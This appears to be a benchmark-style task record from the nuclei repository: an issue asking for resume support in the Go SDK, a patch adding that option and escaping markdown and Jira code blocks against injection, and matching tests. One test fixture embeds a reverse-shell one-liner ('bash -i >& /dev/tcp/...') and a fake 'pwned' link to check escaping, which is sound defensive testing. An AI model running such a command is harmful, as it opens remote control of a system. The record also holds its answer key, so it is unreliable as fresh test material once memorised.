Repository: projectdiscovery/nuclei

Issue:
Using resume with Nuclei SDK
First of all, thank you for your incredible work on projects such as Nuclei and Naabu, I've been really enjoying going through them individually.

One thing that the Nuclei CLI does really well is handling interrupts. By default it stores a resume file if interrupted that it can read upon next execution so not to scan the same hosts twice and pick up where it left off. I love this feature and would also love to be able to use this feature in the Nuclei SDK. I've dug around a little in the various packages that Nuclei provides but haven't found an elegant way to do this. Is this possible?

_Originally posted by @AuditeMarlow in https://github.com/projectdiscovery/nuclei/discussions/6073_

Discussion:

Solution patch:
diff --git a/lib/config.go b/lib/config.go
index c0a9a2df..46df00aa 100644
--- a/lib/config.go
+++ b/lib/config.go
@@ -511,3 +511,11 @@ func DisableUpdateCheck() NucleiSDKOptions {
 		return nil
 	}
 }
+
+// WithResumeFile allows setting a resume file
+func WithResumeFile(file string) NucleiSDKOptions {
+	return func(e *NucleiEngine) error {
+		e.opts.Resume = file
+		return nil
+	}
+}
diff --git a/pkg/reporting/exporters/markdown/util/markdown_formatter.go b/pkg/reporting/exporters/markdown/util/markdown_formatter.go
index 92b3b75b..7f84652b 100644
--- a/pkg/reporting/exporters/markdown/util/markdown_formatter.go
+++ b/pkg/reporting/exporters/markdown/util/markdown_formatter.go
@@ -2,6 +2,7 @@ package util
 
 import (
 	"fmt"
+	"strings"
 )
 
 type MarkdownFormatter struct{}
@@ -11,7 +12,8 @@ func (markdownFormatter MarkdownFormatter) MakeBold(text string) string {
 }
 
 func (markdownFormatter MarkdownFormatter) CreateCodeBlock(title string, content string, language string) string {
-	return fmt.Sprintf("\n%s\n```%s\n%s\n```\n", markdownFormatter.MakeBold(title), language, content)
+	escapedContent := escapeCodeBlockMarkdown(content)
+	return fmt.Sprintf("\n%s\n```%s\n%s\n```\n", markdownFormatter.MakeBold(title), language, escapedContent)
 }
 
 func (markdownFormatter MarkdownFormatter) CreateTable(headers []string, rows [][]string) (string, error) {
@@ -25,3 +27,20 @@ func (markdownFormatter MarkdownFormatter) CreateLink(title string, url string)
 func (markdownFormatter MarkdownFormatter) CreateHorizontalLine() string {
 	return CreateHorizontalLine()
 }
+
+// escapeCodeBlockMarkdown only escapes the bare minimum characters needed
+// for code blocks and other sections where readability is important
+//
+// For content inside code blocks, we only need to escape backticks
+// and backslashes to prevent breaking out
+func escapeCodeBlockMarkdown(text string) string {
+	minimalChars := []string{
+		"\\", "`",
+	}
+
+	result := text
+	for _, char := range minimalChars {
+		result = strings.ReplaceAll(result, char, "\\"+char)
+	}
+	return result
+}
diff --git a/pkg/reporting/reporting.go b/pkg/reporting/reporting.go
index 20fe85f1..97b8d692 100644
--- a/pkg/reporting/reporting.go
+++ b/pkg/reporting/reporting.go
@@ -2,11 +2,12 @@ package reporting
 
 import (
 	"fmt"
-	"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/mongo"
 	"os"
 	"strings"
 	"sync/atomic"
 
+	"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/mongo"
+
 	"github.com/projectdiscovery/gologger"
 	"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config"
 	json_exporter "github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter"
@@ -329,7 +330,7 @@ func (c *ReportingClient) CreateIssue(event *output.ResultEvent) error {
 // CloseIssue closes an issue in the tracker
 func (c *ReportingClient) CloseIssue(event *output.ResultEvent) error {
 	for _, tracker := range c.trackers {
-		if tracker.ShouldFilter(event) {
+		if !tracker.ShouldFilter(event) {
 			continue
 		}
 		if err := tracker.CloseIssue(event); err != nil {
diff --git a/pkg/reporting/trackers/jira/jira.go b/pkg/reporting/trackers/jira/jira.go
index 9969a791..e2eabca9 100644
--- a/pkg/reporting/trackers/jira/jira.go
+++ b/pkg/reporting/trackers/jira/jira.go
@@ -29,7 +29,8 @@ func (jiraFormatter *Formatter) MakeBold(text string) string {
 }
 
 func (jiraFormatter *Formatter) CreateCodeBlock(title string, content string, _ string) string {
-	return fmt.Sprintf("\n%s\n{code}\n%s\n{code}\n", jiraFormatter.MakeBold(title), content)
+	escapedContent := strings.ReplaceAll(content, "{code}", "")
+	return fmt.Sprintf("\n%s\n{code}\n%s\n{code}\n", jiraFormatter.MakeBold(title), escapedContent)
 }
 
 func (jiraFormatter *Formatter) CreateTable(headers []string, rows [][]string) (string, error) {
@@ -240,7 +241,7 @@ func getIssueResponseFromJira(issue *jira.Issue) (*filters.CreateIssueResponse,
 // CreateIssue creates an issue in the tracker or updates the existing one
 func (i *Integration) CreateIssue(event *output.ResultEvent) (*filters.CreateIssueResponse, error) {
 	if i.options.UpdateExisting {
-		issue, err := i.FindExistingIssue(event)
+		issue, err := i.FindExistingIssue(event, true)
 		if err != nil {
 			return nil, errors.Wrap(err, "could not find existing issue")
 		} else if issue.ID != "" {
@@ -265,7 +266,7 @@ func (i *Integration) CloseIssue(event *output.ResultEvent) error {
 		return nil
 	}
 
-	issue, err := i.FindExistingIssue(event)
+	issue, err := i.FindExistingIssue(event, false)
 	if err != nil {
 		return err
 	} else if issue.ID != "" {
@@ -300,13 +301,16 @@ func (i *Integration) CloseIssue(event *output.ResultEvent) error {
 }
 
 // FindExistingIssue checks if the issue already exists and returns its ID
-func (i *Integration) FindExistingIssue(event *output.ResultEvent) (jira.Issue, error) {
+func (i *Integration) FindExistingIssue(event *output.ResultEvent, useStatus bool) (jira.Issue, error) {
 	template := format.GetMatchedTemplateName(event)
 	project := i.options.ProjectName
 	if i.options.ProjectID != "" {
 		project = i.options.ProjectID
 	}
-	jql := fmt.Sprintf("summary ~ \"%s\" AND summary ~ \"%s\" AND status != \"%s\" AND project = \"%s\"", template, event.Host, i.options.StatusNot, project)
+	jql := fmt.Sprintf("summary ~ \"%s\" AND summary ~ \"%s\" AND project = \"%s\"", template, event.Host, project)
+	if useStatus {
+		jql = fmt.Sprintf("%s AND status != \"%s\"", jql, i.options.StatusNot)
+	}
 
 	searchOptions := &jira.SearchOptions{
 		MaxResults: 1, // if any issue exists, then we won't create a new one



Test patch:
diff --git a/pkg/reporting/exporters/markdown/util/markdown_utils_test.go b/pkg/reporting/exporters/markdown/util/markdown_utils_test.go
index a4ed6db3..2cf35485 100644
--- a/pkg/reporting/exporters/markdown/util/markdown_utils_test.go
+++ b/pkg/reporting/exporters/markdown/util/markdown_utils_test.go
@@ -89,3 +89,54 @@ func TestCreateTemplateInfoTable3Columns(t *testing.T) {
 	require.Nil(t, err)
 	require.Equal(t, expected, table)
 }
+
+func TestEscapeCodeBlockMarkdown(t *testing.T) {
+	testCases := []struct {
+		name     string
+		input    string
+		expected string
+	}{
+		{
+			name:     "no special characters",
+			input:    "normal text without special chars",
+			expected: "normal text without special chars",
+		},
+		{
+			name:     "with backticks",
+			input:    "text with `backticks` inside",
+			expected: "text with \\`backticks\\` inside",
+		},
+		{
+			name:     "with backslashes",
+			input:    "text with \\ backslash",
+			expected: "text with \\\\ backslash",
+		},
+		{
+			name:     "with both backticks and backslashes",
+			input:    "text with `backticks` and \\ backslash",
+			expected: "text with \\`backticks\\` and \\\\ backslash",
+		},
+		{
+			name:     "with code block",
+			input:    "```code block```",
+			expected: "\\`\\`\\`code block\\`\\`\\`",
+		},
+		{
+			name:     "with escaped backtick",
+			input:    "escaped \\` backtick",
+			expected: "escaped \\\\\\` backtick",
+		},
+		{
+			name:     "with multiple consecutive backticks",
+			input:    "``double backticks``",
+			expected: "\\`\\`double backticks\\`\\`",
+		},
+	}
+
+	for _, tc := range testCases {
+		t.Run(tc.name, func(t *testing.T) {
+			result := escapeCodeBlockMarkdown(tc.input)
+			require.Equal(t, tc.expected, result, "Failed to properly escape markdown for code blocks")
+		})
+	}
+}
diff --git a/pkg/reporting/format/format_utils_test.go b/pkg/reporting/format/format_utils_test.go
index f10179de..134f52c6 100644
--- a/pkg/reporting/format/format_utils_test.go
+++ b/pkg/reporting/format/format_utils_test.go
@@ -1,12 +1,14 @@
 package format
 
 import (
+	"fmt"
 	"strings"
 	"testing"
 
 	"github.com/projectdiscovery/nuclei/v3/pkg/model"
 	"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
 	"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"
+	"github.com/projectdiscovery/nuclei/v3/pkg/output"
 	"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown/util"
 	"github.com/stretchr/testify/require"
 )
@@ -46,3 +48,28 @@ func TestToMarkdownTableString(t *testing.T) {
 	require.Equal(t, strings.Split(expectedOrderedAttributes, "\n"), actualAttributeSlice[:dynamicAttributeIndex]) // the first part of the result is ordered
 	require.ElementsMatch(t, expectedDynamicAttributes, actualAttributeSlice[dynamicAttributeIndex:])              // dynamic parameters are not ordered
 }
+
+func TestCreateReportDescription_MarkdownInjection(t *testing.T) {
+	// Setup a mock result event with malicious payload in various fields
+	event := &output.ResultEvent{
+		TemplateID: "test-template",
+		Host:       "example.com",
+		Matched:    "https://example.com/vulnerable",
+		Type:       "http",
+		Info: model.Info{
+			Name:           "Test Template",
+			Authors:        stringslice.StringSlice{Value: []string{"researcher"}},
+			SeverityHolder: severity.Holder{Severity: severity.High},
+			Tags:           stringslice.StringSlice{Value: []string{"test"}},
+		},
+		Request:     "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n",
+		Response:    "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<html><body>Hello, world\r\n\r\n```\r\n\r\nReferences:\r\n- https://rce.ee/pwned\r\n\r\n**CURL command**\r\n```sh\r\nbash -i >& /dev/tcp/10.0.0.1/4242 0>&1\r\n```\r\n</body></html>",
+		CURLCommand: "curl -X GET https://example.com",
+	}
+
+	result := CreateReportDescription(event, &util.MarkdownFormatter{}, false)
+	fmt.Println(result)
+
+	require.NotContains(t, result, "```\r\n\r\nReferences:\r\n- https://rce.ee/pwned")
+	require.NotContains(t, result, "```sh\r\nbash -i >& /dev/tcp")
+}